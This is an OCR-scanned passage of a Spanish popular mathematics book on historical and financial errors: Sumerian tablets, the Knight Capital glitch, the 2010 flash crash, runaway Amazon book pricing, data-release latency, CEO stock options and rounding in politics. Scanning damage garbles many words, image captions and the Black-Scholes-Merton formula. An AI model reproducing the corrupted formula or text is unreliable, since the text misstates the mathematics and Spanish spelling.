humano cuyo nombre conocemos. Parece que el primer humano cuyo nombre
se ha transmitido a lo largo de milenos de historia no fue un gobernante, un
guerrero o un cura... sino un contable. Las dieciocho tablas de arcilla que
estan firmadas por Kushim dan a entender que su trabajo era controlar los
niveles de las existencias en un almacén en el que se guardaban los materiales
para elaborar cerveza. A ver, eso se sigue haciendo; un amigo mio gestiona
una fabrica de cerveza y con eso se gana la vida. (Por cierto, se llama Rick,
por si acaso este libro es uno de los pocos objetos que sobreviven al
apocalipsis y él se convierte en el nuevo humano citado mas antiguo.)

Kushim y Nisa son especiales para mi, no porque sean las primeras
personas cuyos nombres han sobrevivido, sino porque cometieron el primer
error matematico de la historia, o al menos el primero que ha perdurado (al
menos, es el mas antiguo que he encontrado; haganme saber si encuentran
alguno anterior). Al igual que un agente de bolsa de Tokio tecleo
incorrectamente unos numeros en un ordenador, Kushim grab6 algunos
nimeros cuneiformes incorrectos en una tabla de arcilla.

Gracias a las tablas podemos averiguar un esbozo de las matematicas que
se utilizaban tanto tiempo atras. Para empezar, una parte de los registros de
cebada cubren un periodo de administracion de treinta y siete meses, que
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equivalen a tres afios de doces meses mas un mes afiadido. Esto demuestra
que los sumerios podrian estar utilizando un calendario lunar de doce meses
con un mes bisiesto colocado una vez cada tres afios. Ademas, no tenian un
sistema de base numérica fija para los nimeros, sino, mas bien, un sistema
continuo que utilizaba simbolos que eran tres, cinco, seis o diez veces mas
grandes que los demas.

)

® - (%)
®-10xe0
) - 3@

Solo tiene que recordar esto; un punto grande vale lo mismo que diez puntos pequernios. Y todo lo
demds.

Una vez que ya nos sabemos mover dentro de ese sistema numeérico
extrafio, los errores son tan comunes que podrian haber sido cometidos hoy
mismo. En una tabla, Kushim simplemente se olvida de incluir tres simbolos
cuando suma una cantidad total de cebada. Otro error es porque cuando tenia
que utilizar el simbolo de diez unidades utiliza el de una. Diria que yo mismo
he cometido errores de ese tipo cuando pongo al dia mi contabilidad. Como
especie, somos bastante buenos con las matematicas, pero no hemos mejorado
durante los ultimos milenios. Estoy seguro de que si pudiéramos comprobar
como haran matematicas los humanos dentro de cinco mil afios, seguiran
cometiendo los mismos errores. Y seguramente seguiran teniendo cerveza.

A veces, cuando me bebo una cerveza, me gusta recordar a Kushim
trabajando en el almacén de cerveza con Nisa supervisandole. Lo que ellos, y
otros como ellos, estaban haciendo condujo a la escritura y las matematicas
modernas. No tenian ni idea de lo importante que acabaron siendo, tanto ellos
como la cerveza, para el desarrollo de la civilizacion humana. Como ya he
dicho, vivir en ciudades fue una de las causas que provocaron que los
humanos tuvieran que depender de las matematicas. Pero ¢qué faceta de la
vida en la ciudad es recordada en nuestros documentos matematicos que han
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sobrevivido mas tiempo? La fabricacion de cerveza. Gracias a ella
disponemos de algunos de los primeros calculos realizados por los seres
humanos. Y la cerveza continla ayudandonos a cometer errores en la
actualidad.

X ,. — w I Ay
PEE =1

oficial «Nisa» cargo «sangay, oficial «Kushimy

Tanto Nisa como Kushim han cometido un error matematico en esta tabla.

Errores monetarios informatizados

Nuestros sistemas financieros modernos son controlados desde ordenadores,
lo que permite a los seres humanos cometer errores financieros con mas
eficiencia y rapidez que nunca. A medida que los ordenadores se han ido
desarrollando han dado lugar a las transacciones bursatiles de alta velocidad,
en los que un unico cliente con una bolsa de valores puede colocar cien mil
ordenes por segundo. Por supuesto, ningun ser humano puede tomar
decisiones a esa velocidad, son fruto de algoritmos de transaccion de alta
frecuencia en los que los operadores introducen unos requerimientos en los
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programas informaticos que han disefiado para que decidan de forma
automatica exactamente cuando y cémo comprar y vender.

Tradicionalmente, los mercados financieros han sido una forma de
combinar ideas y conocimientos de miles de personas diferentes que
comercian simultaneamente; los precios son el resultado acumulativo del
trabajo de todas esas mentes. Si cualquier producto financiero empieza a
desviarse de su valor real, los operadores intentaran explotar esa ligera
diferencia, y esto dard como resultado una fuerza que impulsa los precios
hacia su valor «correcto». Pero cuando el mercado se convierte en un
enjambre de algoritmos comerciales de alta velocidad, las cosas empiezan a
cambiar.

En teoria, el resultado de los algoritmos comerciales de alta frecuencia
deberia ser el mismo que los resultados obtenidos por las personas que
negociaran en alta frecuencia, para sincronizar los precios en diferentes
mercados y reducir la diferencia entre el precio de compra y el de venta de los
valores negociados, pero en una escala mas reducida. Los algoritmos
automaticos estan escritos para explotar las diferencias mas pequefias de
precio y para responder en milisegundos. Pero, si en los algoritmos hay
errores, las cosas pueden salir mal a gran escala.

El 1 de agosto de 2012, uno de los algoritmos de la empresa de servicios
financieros Knight Capital no funcionaba como era debido. La empresa
actuaba como un «creador de mercado», que viene a ser como una especie de
casa de cambio de divisas a lo grande, pero para las acciones. Una casa de
intercambio de divisas gana dinero porque venden las divisas a un precio
menor a cambio de que entregan el dinero instantaneamente. Luego esperan a
realizar el cambio hasta que lo pueden vender a un precio mayor a alguien
que viene mas tarde y pide ese tipo de divisa. Esta es la razon por la que se
ven casas de cambio de divisas para turistas que tienen precios de venta y
compra diferentes para la misma moneda. Knight Capital hacia lo mismo,
pero con acciones, y en ocasiones podia revender una accion que acababa de
comprar hacia menos de un segundo.

En agosto de 2012, la bolsa de Nueva York inici6 un nuevo programa de
liquidez minorista, lo que quiere decir que, en algunas situaciones, los
operadores pueden ofrecer acciones a precios ligeramente mejores para
vendérselas a los compradores minoristas. Este programa de liquidez
minorista recibié la aprobacién regulatoria solo un mes antes de empezar a
funcionar. Knight Capital se apresur6 a actualizar sus algoritmos de alta
frecuencia para operar en este entorno financiero ligeramente diferente. Pero,

Pagina 151



durante la actualizacion, de alguna forma Knight Capital hizo que el codigo
fallase.

Tan pronto como empez6 a funcionar, el software de Knight Capital
empez0 a comprar acciones de 154 compaiiias diferentes de la bolsa de Nueva
York por mas de lo que las podria vender luego. Lo apagaron al cabo de una
hora, pero, una vez que pas6 la tormenta, Knigh Capital habia acumulado
unas pérdidas en un solo dia de 461,1 millones de doélares, mas o menos el
beneficio que habian obtenido durante los dos afios anteriores.

Nunca se han hecho publicos los detalles sobre qué fue exactamente lo
que fall6. Una teoria es que el principal programa de trading activd
accidentalmente algiin codigo de prueba antiguo que nunca se disefié para que
realizara transacciones, y eso concuerda con el rumor que circulé en el
ambiente de esa época de que el error se produjo por culpa de «una linea de
codigo». Sea cual fuera la razén, un error en los algoritmos tuvo
consecuencias muy muy reales. Knight Capital tuvo que librarse de las
acciones que habia comprado accidentalmente a Goldman Sachs a precios de
descuento y luego fueron rescatados por un grupo en el que estaba el banco de
inversion Jefferies a cambio de ser propietarios del 73% de la empresa. Tres
cuartas partes de esta se perdieron por culpa de una linea de cédigo.

Pero eso es consecuencia unicamente de una mala programacion. Y,
seamos sinceros, las finanzas no son el tnico campo en el que un codigo
escrito deficientemente puede causar problemas. Un cédigo defectuoso puede
crear problemas practicamente en cualquier parte. Los algoritmos de
transacciones automaticas tienen un mayor interés en un escenario econoémico
cuando empiezan a interactuar. Se supone que la compleja red de algoritmos
realizando transacciones entre ellos mismos deberian mantener estable el
mercado. Hasta que alguno cae en algin desafortunado bucle de
retroalimentacion y se produce un nuevo desastre financiero con la
consecuente caida repentina de la bolsa.

El 6 de mayo de 2010, el indice Dow Jones cay6 un 9%. Si se hubiera
quedado ahi, habria sido la caida mas grande del Dow Jones producida en un
solo dia desde los cracs de 1929 y 1987. Pero no se quedd ahi. En pocos
minutos, los precios rebotaron hasta alcanzar su estado normal y el Dow
Jones acabo el dia solo un 3% por debajo del nivel con el que inici6 la
jornada. Después de un inicio irregular, el crac se produjo entre las 14.40 h y
las 15.00 h, hora local de Nueva York.

Menudos veinte minutos. Dos mil millones de acciones con un volumen
total de mas de 56.000 millones fueron negociados. Mas de veinte mil
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transacciones se produjeron a un precio que estaba a mas de un 60% de lo que
marcaba el mercado a las 14.40 h. Y muchas de esas transacciones fueron a
«precios irracionales» tan bajos como 0,01 ddlares o tan altas como 100.000
délares por accion. De repente, el mercado se habia vuelto loco. Pero
entonces, casi igual de rapido, se tranquilizo y volvio a su estado normal. Se
desat6 una rafaga de excitacion extrema que finaliz6 tan rapido como
empez0, el Harlem Shake de los cracs financieros!16],

Aln se esta discutiendo sobre qué fue lo que provoco la caida de la bolsa
en 2010. Se oyeron acusaciones de que el culpable fue un error de «dedos
gordos», pero no salio a la luz ninguna prueba de ello. La mejor explicacién
que encuentro es el informe oficial conjunto dado a conocer por la US
Commodity Futures Trading Commission y por la US Securities and
Exchange Commission el 30 de septiembre de 2010. Su explicacion no ha
sido aceptada por todo el mundo, pero creo que es la mejor que tenemos.

Parece ser que un operador decidi6 vender un montén de «futuros» en un
mercado financiero de Chicago. Los futuros son contratos para comprar o
vender algo en el futuro a un precio acordado previamente; estos contratos
también pueden ser comprados y vendidos. Son un producto financiero
derivado muy interesante, pero las complejidades de su funcionamiento no
son relevantes para este libro. Lo que si lo es es que el operador decidio
vender 75.000 de estos contratos, llamados E-Minis (con un valor aproximado
de unos 4.100 millones de ddlares) de golpe. Fue la tercera venta mas grande
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de los ultimos doce meses. Pero, mientras las otras dos se habian realizado de
forma gradual a lo largo de un dia, esta se realizé en tan solo veinte minutos.

Las ventas de este tamafio se pueden hacer de formas diferentes y, si se
hacen de forma gradual (bajo la supervision de un operador), suelen ser
correctas. Esta venta utilizé un simple algoritmo de venta para todo el lote, y
estaba basado unicamente en el volumen de transacciones de ese momento,
sin ninguna referencia a cual deberia ser el precio o lo rapido que tenian que
realizarse las ventas.

El 6 de mayo de 2010, el mercado ya era algo fragil debido a la crisis de
la creciente deuda griega y por las elecciones generales del Reino Unido. La
repentina y desafiante puesta en circulacion de los E-Minis se dio de bruces
contra el mercado y sembro el caos entre los operadores de alta frecuencia.
Los contratos de futuros que se habian vendido pronto inundaron cualquier
demanda natural y los operadores de alta frecuencia empezaron a
intercambiarlos entre ellos. En los catorce segundos que pasaron entre las
14.45.13 y las 14.45.27, mas de 27.000 contratos pasaron de una mano a otra
de estos operadores automaticos. Esto por si solo igual6 el volumen de todas
las demas transacciones.

Este caos afect6 a otros mercados. Pero, entonces, casi tan rapido como
empezO, los mercados recuperaron su posicion normal a medida que los
algoritmos de alta frecuencia se las arreglaron solos. Algunos de ellos tenian
incorporado un interruptor de seguridad que suspendia las interacciones
cuando los precios fluctuaban demasiado y se reiniciaban solo después de que
se comprobara lo que estaba sucediendo. Algunos operadores supusieron que
algo catastrofico habia ocurrido en algin lugar del mundo de lo que todavia
no habian oido hablar. Pero habia sido tan solo la interaccion de algoritmos
automaticos. El gran cortocircuito.

La mosca en el algoritmo

Tengo una copia del libro «mas caro del mundo». Ahora mismo estoy sentado
en mi escritorio frente a una copia de The Making of a Fly. Es un libro
académico sobre genética y una vez aparecio listado en Amazon al precio de
23.698.655,93 dolares (mas 3,99 dolares por el envio).

Pero yo me las arreglé para comprarlo con un descuento bastante
importante del 99,9999423%. Hasta donde yo sé, The Making of a Fly nunca
se vendi6 por 23 millones de délares; solo fue listado a ese precio. E incluso
si se hubiera vendido a ese precio, un monton de gente considera que uno de
los diarios de Leonardo da Vinci, que Bill Gates compré por 30,8 millones de
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délares, es el libro mas caro jamas vendido. Esta claro que, ademas de
compartir la aficion por los dados no transitivos, Bill y yo también
compartimos otra: el material de lectura caro. Creo que The Making of a Fly
ostenta el récord del precio legal mas alto pedido por un libro del que existe
mas de un ejemplar. Por suerte, mi copia me cost6 solo 10,07 libras (unos
13,68 délares de la época). Y el envio fue gratuito.

¢ PETER A. LAWRENCE

' The Making of a Fly

THL GINETICT IR ALY L RN

El libro mds caro cuyo precio no he pagado gracias al descuento.

The Making of a Fly alcanzé su precio maximo en 2011 en Amazon
cuando dos vendedores, bordeebook y profnath, sacaron nuevas copias a la
venta unicamente en Estados Unidos. Hay sistemas que permiten establecer
un precio algoritmicamente en Amazon, y parece ser que, para poner su
precio, profnath utilizé la sencilla regla de «pon un precio para mi libro que
sea un 0,07% mas barato que el precio mas bajo de todos». Seguramente, esos
vendedores tenian una copia de The Making of a Fly y decidieron que querian
venderla siendo el libro listado mas barato de Amazon por un margen muy
pequefio. Como el concursante de El precio justo que siempre pone un ddlar
mas que los demas, son idiotas, pero cumplen con las normas.

Sin embargo, el vendedor bordeebook queria ponerlo mas caro con un
margen decente, y su regla seguramente fue algo asi como «pon un precio
para mi libro que sea un 27% mas que la opcion mas barata existente». Una
posible explicacion de esto es que bordeebook no tuviera realmente una copia
del libro, pero sabia que si alguien lo compraba a través de él tendria un
margen suficiente para poder encontrarlo y comprar una copia mas barata que
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entonces podria revender. Vendedores como este confian en sus excelentes
comentarios dejados por otros clientes para atraer a los compradores recelosos
felices de pagar mas por un extra de confianza.

Si hubiera habido otro libro a un precio fijo, esto habria funcionado a la
perfeccion: la copia de profnath seria ligeramente mas barata que el tercer
libro y la de bordeebook seria mucho mas cara. Pero, dado que solo habia dos
libros, los precios crearon un circulo vicioso, haciendo aumentar el precio del
otro: 1,27 x 0,9983 = 1,268, por lo que los precios subian mas o menos un
26,8% cada vez que los algortimos completaban un ciclo, alcanzando
finalmente decenas de millones de dolares. Evidentemente, profnath se debi6
dar cuenta (o su algortimo alcanzo6 un limite superior descabellado) porque su
precio bajo a una cantidad mucho mas normal de 106,23 dolares, y
rapidamente, el precio de bordeebook bajo en consonancia.

Michael Eisen y sus colegas de la Universidad de California, en Berkeley,
se dieron cuenta del escandaloso precio de The Making of a Fly. Utilizaban
moscas de la fruta en su investigacion y necesitaban este titulo como
referencia académica. Se quedaron estupefactos al ver dos copias a la venta
con un precio de 1.730.045,91 y 2.198.177,95 dolares, y cada dia los precios
aumentaban. Logicamente, dejaron aparcada la investigacion biologica e
iniciaron una hoja de calculo en la que anotaban los precios cambiantes de
Amazon, desentrafiando las ratios que estaban utilizando profnath y
bordeebook (bordeebook estaba utilizando la ratio especifica de 27,0589%),
demostrando una vez mas que existen muy pocos problemas en la vida que no
se puedan resolver con una hoja de calculo.

Una vez corregido el precio de The Making of a Fly, el colega de Eisen
pudo comprar una copia del libro a un precio normal y el laboratorio retomé
su investigacion, con la que intentaban comprender como funcionan los
genes, en lugar de los algoritmos de precios de ingenieria inversa. Y yo me
quedo con mi copia de The Making of a Fly (que compré de segunda mano;
aun estando a un «precio normal», los libros de texto estadounidenses escapan
de mi presupuesto). Incluso me esforcé todo lo que pude para leerlo. Supuse
que debia existir algin vinculo entre lo que le sucedio6 al precio del libro y
como los algoritmos genéticos hacen crecer a las moscas. Podria concluir la
seccion con una frase del libro. Esta es la mejor que he podido encontrar:

Los estudios de crecimiento de este tipo dan la impresién de que existe algin control
matematicamente exacto que opera de forma independiente en las diferentes partes corporales.

The Making of a Fly, Peter Lawrence (pag. 50)
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Creo que todos podemos aprender algo de esta historia. En mi caso, la
compra del libro es, técnicamente, deducible de impuestos, aunque
seguramente no a partir del precio original.

Y ellos también se habrian librado de la carcel si no fuera por la intromision de las leyes de
la fisica

En las operaciones de bolsa de alta velocidad, los datos son los reyes. Si un
operador posee informacion exclusiva sobre como va a evolucionar el precio
de una materia prima, puede colocar érdenes antes de que el mercado cambie
para ajustarse. O, mejor aun, los datos pueden ir directamente a un algoritmo
que puede colocar la orden, tomando decisiones a velocidades increibles.
Aqui, el tiempo se mide en milisegundos. En 2015, Hibernia Networks se
gastd 300 millones de délares colocando un cable de fibra 6ptica entre Nueva
York y Londres para intentar reducir los tiempos de comunicacion en 6
milisegundos. Pueden ocurrir un montén de cosas en una milésima de
segundo. No le digo en seis.

Para los datos financieros, el tiempo es, literalmente, dinero. La
Universidad de Michigan publica un Indice de Confianza del Consumidor,
que es una medida de como los estadounidenses se sienten sobre la economia
(obtenido después de telefonear a unas quinientas personas y hacerles una
serie de preguntas), y esta informacién puede influir directamente en los
mercados financieros. Por lo que era importante como se presentaban estos
datos. Una vez que las nuevas cifras estaban ya preparadas, Thomson Reuters
las colgaba en su pagina web publica, exactamente a las diez de la mafana
para que todo el mundo pudiera acceder a ellas al mismo tiempo. A cambio de
este compromiso exclusivo (ofrecer los datos gratis), Thomson Reuters
pagaba a la Universidad de Michigan algo mas de un millon de dolares.

¢Por qué pagaban si luego ofrecian los datos de forma gratuita? En el
contrato, a Thomson Reuters se le permitia enviar los nimeros cinco minutos
antes a sus suscriptores. Asi que cualquiera que pagara para subscribirse a
Thomson Reuters podia obtener el dato cinco minutos antes que el resto del
mercado y empezar a realizar transacciones en consecuencia. Y los
suscriptores de su «plataforma de distribucién con latencia ultrabaja» recibian
los datos dos segundos antes, a las 9.54.58 (mas-menos medio segundo),
preparados para introducirlos en los algoritmos de comercio. En el primer
medio segundo después de que se envien estos datos, mas de 40 millones en
transacciones se pueden haber producido en un tnico fondo. Los tontos que
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esperaban a obtener los datos gratis a las diez de la mafiana se encontraban
con que el mercado ya se habia ajustado.

o
E—

Si este anuncio de Thomson Reuters es un diagrama de Venn, es sorprendentemente honesto.

La ética (y la legalidad) son un poco borrosas. Las instituciones privadas
pueden liberar sus propios datos como quieran mientras estos sean
transparentes.

Y Thomson Reuters incluso tenia una pagina de su sitio web en la que
mencionaba esos tiempos, su equivalente web a cruzar los dedos tras la
espalda esperando que nadie se dé cuenta. La practica solo se hizo publica
cuando la CNBC (Consumer News and Business Channel) sac6 una noticia
sobre el tema en 2013, y no mucho después de que esa practica se dejara de
hacer.

La norma sobre la difusion de datos gubernamentales es mucho mas
concreta: no se le permite absolutamente a nadie comerciar con ellos antes de
que se difundan a todo el mundo de forma simultdnea. Cuando la Reserva
Federal de Estados Unidos anuncia algo, por ejemplo si va a continuar con un
programa de compra de bonos, esa noticia puede causar un gran impacto en
los precios de los mercados financieros. Si alguien conociera esas noticias por
adelantado, podria empezar a comprar cosas cuyo valor iba a subir.

Por lo que la Reserva Federal controla estrechamente la difusion de dicha
informacion desde sus cuarteles generales en Washington D. C. Por ejemplo,
cuando se iba a hacer publico un anuncio el 18 de septiembre de 2013,
exactamente a las dos de la tarde, los periodistas tuvieron que entrar en una
habitacién especial en los edificios de la Reserva Federal, que se cerraron a
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las 13.45 h. Se entregaron copias impresas de las noticias a las 13.50 h y se
les dio tiempo para leerlas.

A las 13.58 h, a los periodistas de television se les permitié salir a un
balcon concreto en el que estaban preparadas sus camaras. Momentos antes
de las dos de la tarde, los periodistas de la prensa escrita podian establecer
una conexion telefonica con sus editores, pero todavia no podian comunicarse
con ellos. Exactamente a la 14.00 h, como si la hora se midiese con un reloj
atomico, se podia difundir la informacion. Los operadores financieros de todo
el mundo quieren ser los primeros en recibir datos como estos. Si un operador
de Chicago puede recibir los datos incluso milisegundos antes que sus
competidores, eso le dara una ventaja. Pero sa qué velocidad pueden viajar
los datos?

Las dos tecnologias competidoras son los cables de fibra oOptica y la
radiocomunicacion por microondas. La luz a través de un cable de fibra optica
viaja alrededor de un 69% de la velocidad maxima de la luz en el vacio, la
cual sigue siendo vertiginosamente rapida, recorriendo unos 200.000
kilometros cada segundo. La radiocomunicacion por microondas a través del
aire alcanza casi la velocidad maxima de la luz: 299.792 kilémetros por
segundo, pero tiene que ser transmitida desde una estacion base a otra para
tener en consideracion la curvatura de la Tierra.

También aparecen problemas a la hora de decidir donde se han de
construir las estaciones base para microondas y donde se puede colocar el
cable de fibra 6ptica. Por lo que el camino entre Washington D. C. y Chicago
que recorren los datos no es la ruta mas corta posible. Pero, para conseguir un
limite inferior, podemos suponer que los datos siguen la linea mas corta entre
el edificio de la Reserva Federal en Washington D. C. y el edificio de la Bolsa
Mercantil de Chicago (955,65 kilometros) a la velocidad maxima de la luz (y
los nuevos cables de fibra optica de niicleo hueco pueden alcanzar el 99,7%
de la velocidad de la luz) y tardan un tiempo de 3,19 milisegundos. Un
calculo parecido para la ruta mas corta entre Washington D. C. y la ciudad de
Nueva York da 1,09 milisegundos.

Esos tiempos suponen que los datos viajan por el cable de fibra Optica
siguiendo la curvatura de la Tierra. El viaje en linea recta seria relativamente
mas rapido. Ya existen sistemas de comunicacion por laser de «linea de
visién» para los datos financieros en los que los puntos iniciales y finales no
tienen mas que aire entre ellos, por ejemplo los que intercambian informacién
entre edificios de Nueva York y Nueva Jersey. Para viajar entre Washington
D. C. y Chicago, necesitarian ir por dentro de la Tierra.
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Pero esto no esta fuera de la cuestion. Los fisicos han descubierto
particulas exoticas como los neutrinos que se pueden mover a través de la
materia normal casi sin impedimentos. Detectarlas en el otro extremo seria un
reto tecnolégico importante, pero un sistema como ese que disparase datos a
través del planeta a la velocidad de la luz es fisicamente verosimil. Sin
embargo, esto recortaria tan solo 3 milisegundos el trayecto entre Washington
D. C. y Chicago (e incluso menos en el de Nueva York). El tiempo mas
rapido posible para que viajen los datos entre el edificio de la Reserva Federal
que permiten las leyes de la fisica son 3,18 milisegundos a Chicago y 1,09 a
Nueva York.

Un ldser preparado para disparar datos financieros entre ciudades. Tiene el récord mundial por ser el
rayo ldser mds aburrido de la historia.

Todo esto hace que parezca sospechoso que las transacciones en Chicago
y Nueva York se produjeran de forma simultanea a las 14 h, cuando los datos
de la Reserva Federal se difundieron el 18 de septiembre de 2013. Pero si los
datos venian desde Washington D. C., entonces los mercados de Nueva York
deberian haberse movido ligeramente antes que los mercados de Chicago.
Parece que les hubieran dado los datos mas pronto e intentaran dar la
impresion de que estaban operando desde el primer instante posible, excepto
que se olvidaron de las leyes de la fisica. jFraude descubierto gracias a la
velocidad finita de la luz!

Bueno, digo «fraude descubierto» pero no sali6 nada en claro de todo
esto. No se descubrio quién estaba realizando estas transacciones y quién le
envid los datos. Y también hubo mucha confusién no resuelta sobre si el

Pagina 160



hecho de mover datos a un ordenador externo pero no difundirlos hasta las
dos de la tarde estaba estrictamente prohibido por las normas de la Reserva
Federal. Parece ser que las leyes de las finanzas son mucho mas flexibles que
las reglas de la fisica.

Confusiones matematicas

Seria negligente por mi parte no decir algo sobre la crisis financiera global de
2007-2008. Empez6 con la crisis de los préstamos hipotecarios de alto riesgo
en Estados Unidos y luego se propagé rapidamente a paises de todo el mundo.
Y hay algunos pedacitos interesantes de matematicas que la alimentaron.
Personalmente, mis favoritos son los productos financieros conocidos como
obligaciones de deuda garantizada (CDO por sus siglas en inglés). Una CDO
agrupa un conjunto de inversiones arriesgadas con la suposicion de que no
pueden fallar todas juntas.

Spoiler: todas fueron mal. Dado que las CDO podian contener otras CDO,
se creo una telarafia matematica que muy pocas personas podian entender. Me
encantan las matematicas que hago, pero mirando atrds la crisis financiera
global en su conjunto, no puedo asegurar que comprenda qué fue lo que sali6
mal. Si quiere profundizar en este tema, hay innumerables libros dedicados
exclusivamente a este asunto. O (si tiene la edad suficiente) puede ver la
pelicula La gran apuesta. No diré nada sobre el tema; en su lugar, hablaré
sobre un ejemplo mucho mas interesante y concreto de personas que no
entienden las matematicas: los consejos de las empresas dando bonus
econdmicos a sus directores ejecutivos (CEO por sus siglas en inglés), es
decir, las personas a cargo de las compaiiias.

Un CEO en Estados Unidos puede ganar cantidades increibles de dinero, a
veces decenas de millones de dolares por afio. Antes de la década de 1990,
solo los CEO fundadores o propietarios de una empresa ganaban esos
«sueldazos», pero, entre 1992 y 2001, el CEO promedio del Indice S&P 500
en Estados Unidos pasé de los 2,9 millones de délares por afio a los 9,3
millones (al precio del dolar de 2011). Un incremento del triple en una
década. Y luego la explosion se detuvo. Una década después, en 2011, el
CEO promedio seguia cobrando alrededor de 9 millones de dolares.

Algunos investigadores de la Universidad de Chicago y de Dartmouth
College se percataron de que, durante la explosion de los sueldos, los salarios
reales e incluso los valores de las acciones dadas a los CEO no aumentaban
de forma parecida. E1 boom procedia de la remuneracion que se le daba a los
CEO en una forma particular: las stock options.
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Una stock option es un contrato que le permite a alguien comprar unas
ciertas acciones en el futuro a un precio «fijado» preacordado. Por lo que si
obtienes una stock option para comprar ciertas acciones de una empresa a 100
délares en el plazo de un afio, y el precio de la accion sube durante el afio a
120 ddlares, significa que ahora puedes ejercer tu opcion y comprar la accion
por 100 délares y venderla inmediatamente en el mercado abierto por 120
ddlares. Si el precio de la accion baja a 80 ddlares, entonces no la ejerces y no
compras nada. Por lo que la stock option tiene un valor en si misma: solo
puedes ganar dinero (o quedarte igual). Motivo por el cual hay que pagar por
ellas primero y pueden ser vendidas después.

El célculo del valor de las stock options no es directo y solo se desarroll6
relativamente hace poco, en 1973, con la formula Black-Scholes-Merton.
Black fallecié, pero Scholes y Merton ganaron el premio Nobel de economia
en 1997 por su formula. Fijar el precio de las stock options implica tener en
cuenta cosas como calcular con qué probabilidad el valor de la accion
cambiara y cuanto interés se puede haber generado con el dinero gastado en la
opcién, y todo eso es factible. Finaliza con una férmula de apariencia
enrevesada. Y aqui es donde los consejos de administracion de las empresas
empezaron a ir mal.

La relacion directa entre el nimero de stock options y el valor que se le
estaba abonando al CEO no fue obvia para todos los directores desde el
principio. Fijese en qué ocurre cuando comparamos otros tipos de
compensaciones con sus valores reales:

4 )

Valor del sueldo = [cantidad de délares] x 1 dolar
Valor de la accién = [cantidad de acciones] x [valor por accién]

Valor de las stock options =

numero de stock options = |_\- Z)—e~TN(Z - ".Tx-'ﬂ.'f'l

Donde / = e
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S = precio actual de la stock option
T = tiempo que ha de pasar para que se pueda ejercer la stock option
r = tasa de interés libre de riesgos
N = distribucién normal predeterminada acumulativa
o = volatibilidad o rentabilidad de la tasa de cambio de la accién (calculado con la
desviacion estandar)

o J

Aunque parece compleja, la version abreviada es que S delante significa
que el valor de las stock options escala con el valor actual de la accién. Pero,
aunque los comités ejecutivos redujeron el nimero de acciones que daban a
los CEO cuando los valores de esas acciones subian, la investigacion de la
Universidad de Chicago y de Dartmouth College demostr6 que los comités
ejecutivos sufrieron una especie de «rigidez numérica» al conceder las stock
options: el nimero que concedieron fue sorprendentemente rigido. Incluso
después de una division de acciones, cuando a los CEO se les dio el doble de
acciones para compensar que la accion valia la mitad, el nimero de stock
options no cambio. Los consejos administrativos siguieron dando el mismo
numero de stock options, ignorando, al parecer, su valor. Y durante la década
de 1990 y a inicios de la del 2000 el valor subi6 un monton.

Y entonces, en 2006, un cambio en la reglamentacion hizo que las
empresas tuvieran que utilizar la férmula Black-Scholes-Merton para declarar
el valor de las stock options que estaban pagando a sus CEO. Una vez que las
matematicas fueron obligatorias y los consejos de administracion se vieron
obligados a fijarse en el valor real de las stock options, la rigidez numérica
desaparecio y las opciones se ajustaron basandose en su valor. La explosion
de los salarios de los CEO se detuvo. Esto no quiere decir que se redujera
hasta los niveles anteriores a la explosion: una vez establecidos, las fuerzas
del mercado no permitirian que el nivel cayese. Los cuantiosos paquetes
salariales de los CEO que se siguen otorgando en la actualidad son un fésil de
la época en la que los consejos administrativos no utilizaban las matematicas.
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Nueve

REDONDEANDO

En las elecciones de 1992 celebradas en Schleswig-Holstein, Alemania, el
Partido Verde obtuvo exactamente el 5% de los votos. Fue un hecho
importante, porque los partidos que obtuvieran menos del 5% de los votos
totales no podian tener escafios en el Parlamento. Con el 5% de los votos, el
Partido Verde podria tener un miembro. Se produjo una gran celebracion.

Por lo menos, todo el mundo pens6 que habian obtenido el 5% de los
votos, y asi fue publicado. En realidad, habian obtenido inicamente el 4,97%
de los votos. El sistema que presentaba los resultados redondeaba todos los
porcentajes a una cifra decimal, convirtiendo el 4,97% en 5%. Se analizaron
los votos, se encontro la discrepancia y los Verdes perdieron su escaio. Por
este motivo, los socialdemdcratas ganaron un escafio extra que les dio la
mayoria. Un simple redondeo cambi¢ el resultado de unas elecciones.

La politica parece tener una fuerza motivadora para que las personas
traten de retorcer los numeros tanto como puedan. Y redondear es una buena
forma de exprimir un poco mas unos numeros que, de lo contrario, son
inflexibles. Como profesor, solia plantearles a mis estudiantes de séptimo
curso preguntas como: «Si una tabla tiene 3 metros de largo (redondeando
hasta el metro mas cercano), ;cuanto mide realmente?». Bien, podria medir
cualquier cifra entre 2,5 metros y 3,49 metros (o tal vez algo asi como 2,500
metros hasta 3,4999 metros, dependiendo de las convenciones del redondeo).
Parece ser que algunos politicos son tan inteligentes como un nifio de séptimo
curso.

Durante el primer afio de la presidencia de Donald Trump, su Casa Blanca
intentaba derogar la Ley de Proteccién del Paciente y Atencion Sanitaria
Asequible (ACA o PPACA, por sus siglas en inglés) conocida como
Obamacare. Al hacerlo mediante legislacion y ver que era mucho mas dificil
de lo que esperaban, volvieron a redondear.

Y aunque la ACA establecia las directrices oficiales para el mercado de la
salud, el Departamento de Salud y Servicios Sociales era el responsable de
redactar las regulaciones basadas en la ACA. En febrero de 2017, este
departamento, ahora controlado por Trump, escribi6 a la Oficina de
Administracion y Presupuesto de Estados Unidos proponiendo unos cambios
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en la regulacion. Parece ser que, si la administracion Trump no podia cambiar
la ACA, iba a intentar cambiar como esta se interpretaba. Es como tratar de
cumplir con las condiciones impuestas por una orden judicial cambiando el
nombre de su perro por el de «agente de libertad vigilada».

Segun algunos asesores y lobistas de la industria con los que contact6 el
Huffington Post, uno de los cambios era incrementar los aumentos que podian
aplicar las compafiias de seguros a sus clientes de mayor edad. La ACA habia
establecido directrices muy claras respecto a que las compafiias de seguros no
podian aumentar el precio a los clientes de mayor edad mas del triple que la
prima que abonaban los clientes jovenes. La asistencia sanitaria deberia ser un
juego de promedios, siendo su objetivo que todo el mundo compartiera la
carga de manera igualitaria. La ACA intento limitar cuanto se podian separar
las aseguradoras de ese ideal.

Al parecer, la administracion Trump queria permitir a las compaiiias de
seguros aumentar a los clientes de mas edad el precio hasta 3,49 veces mas
que lo que pagaban los jovenes, utilizando el argumento de que redondeando
a la baja 3,49 nos da 3. Casi me impresiona su atrevimiento matematico. Pero
solo porque un numero se pueda redondear y producir un nuevo valor no hace
que sea el mismo numero. También podrian haber tachado trece de las
veintisiete enmiendas de la Constitucion alegando que nada habia cambiado,
entendiendo que se habia redondeado a la Constitucion entera mas cercana.

Este cambio propuesto por la administracién Trump nunca fue aprobado,
pero si que plante6 una cuestion interesante. Si la ACA dijo explicitamente
«multiplo de tres, redondeado a una cifra significativa», tendrian un
